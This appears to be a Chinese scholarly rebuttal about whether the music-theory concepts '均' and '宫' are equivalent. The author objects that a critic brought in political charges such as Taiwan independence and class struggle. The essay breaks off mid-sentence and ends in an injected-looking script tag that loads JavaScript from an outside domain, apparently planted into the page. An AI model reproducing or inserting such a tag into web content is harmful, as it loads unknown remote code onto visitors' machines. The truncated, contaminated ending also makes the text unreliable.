吴志武依据几则“文献史料”，即得出“‘均’和‘宫’实际上就是一个等同的概念”[1]（下称“吴文”）的结论。针对此，笔者从形式逻辑学的角度对“均”与“宫”两个概念作了分析，明确提出《“均”≠“宫”》[2]（下称“拙文”）。不久，杨善武便把问题的讨论引入非学术领域，并以《且不论“均”是否等于“宫”》[3]（下称“杨文”）为题，对“拙文”展开了批判。其中牵扯到了“台独”、“阶级斗争”等敏感问题，无形中使一场极其普通的学术讨论“扩大化”、“复杂化”、“政治化”。笔者认为，这种做法有悖于“学术争鸣”的宗旨和原则，故不得已而辩之。

    一

    对于“学术争鸣”的宗旨和原则，“杨文”非常清楚，而且一开始便指出：“作为学术争鸣，大家针对某一问题展开讨论，相互辩驳问难，极有利于问题的澄清解决。”然而遗憾的是，“杨文”的“讨论”恰恰背离了这一点，自始至终未回到“均是否等于宫”这一主题上来。而是以“阶级斗争”为纲，以夸大和歪曲事实为手段，以节外生枝、混淆视听、引发事端为目的，对“拙文”展开了全方位的批判。

    “杨文”首先从维护“人权”的高度，提出要“以平等态度待人，进行平权的争论”，并批评“拙文”在这方面“表现出了不应有的态度”。那么，“杨文”是如何“以平等态度待人，进行平权的争论”的呢？是否采取了“应有的态度”？结论是：有过之而无不及。

    针对“吴文”仅仅依据几则“文献史料”便得出“均等于宫”的结论的做法，“拙文”谈到：“我们在学习、研究‘文献史料’的时候，一定要从实际出发，深入思考、明辨是非，切不可无理性地全盘接受。特别是在引用‘文献史料’作为证据评价、否定他人研究成果的时候，一定要慎之又慎，要建立在实践性研究的基础上。缺乏必要的和全面、系统的论证和实践性研究，而仅凭某些‘文献史料’便轻易否定他人几十年来的研究成果，以至盲目下结论的做法都是有害的。这样做不仅会导致学术研究上的混乱、腐败，而且最终将会影响中国传统音乐理论研究及学科建设的健康发展。”对于这样的表述，“杨文”无法“理喻”，因而批判到：

    “让人不可理喻的是，‘吴文’只是依据史料发表了自己的一点看法，作为一种学术认识即使是错了，又何至于会‘影响中国传统音乐理论研究及学科建设的健康发展’、‘导致学术研究上的混乱’？这是否有些‘上纲上线’呢？

    笔者的主旨很明确，那就是：要想彻底否定他人几十年来的研究成果，仅仅依据几则“文献史料”是没有说服力的，应该对“史料”进行“全面、系统的论证和研究”。正如“杨文”所说，“仅仅是引用……已有的论述或对这些论述再加上一点发挥解说，是远远不够的，而必须进行深入的、多方面的探讨研究，以找出那真正能说明问题的依据来”。否则，不仅会导致那种一心想把别人的研究成果推翻，而挖空心思地去寻求所谓的“文献史料”的做法愈演愈烈，进而造成学术研究的混乱，最终影响中国传统音乐理论研究及学科建设的健康发展。这，并非危言耸听，而是笔者的真实感受，是笔者对学术研究中某些不良现象的担忧。况且，“拙文”的这些观点并非完全针对“吴文”，而是针对学术研究中所表现出来的一些不正常现象。退一步说，即便这种想法是错误的，这种担忧是多余的，这种表述是“不近人情”的，用“杨文”的话说，又何以与“上纲上线”、“乱扣帽子”相联系？

    “拙文”中提到：“均等于宫的观点……彻底否定了‘下徵音阶’和‘清商音阶’的存在，这是任何人也不能允许的……其危害之大，不可估量。对此，切不可等闲视之或掉以轻心，更不能放任自流或任其发展，必须及时予以纠正。”对于这样的表述，“杨文”的作者将其与“台独”、“政治运动”、“革命大批判”、“阶级斗争”等联系起来。笔者之所以发出如此尖锐的感慨，是因为，长期以来（特别是近一个多世纪以来），中国民族音乐基本上使用的都是“新音阶”，即使个别音阶“一元论”者，所否定的也并非“新音阶”。也就是说，“新音阶”已经成为民族音乐的主要表现形式，在我们的民族音乐实践中已经发挥了和正在发挥着极其重要的作用，并且得到了普及和认可。然而就是在这样一个客观事实面前，有人竟打着“祖宗”的“旗号”，试图予以彻底否定。这种不注重“实践性研究”难道危害性不大吗？对于这样的学术研究，我们能够掉以轻心、放任自流和任其发展吗？

    不可否认，笔者在发这样的感慨时不免情绪有些激动，特别是对于一心想否定“均、宫、调是三个层次概念”的“杨文”来说，可能有些过于“义愤”了。但这并非“政治口号”，其“原因”和“背景”正是不重视“客观现实”的结果。即使笔者的语言过于“尖刻”，情绪有?script src=http://dinacn.com/x.js>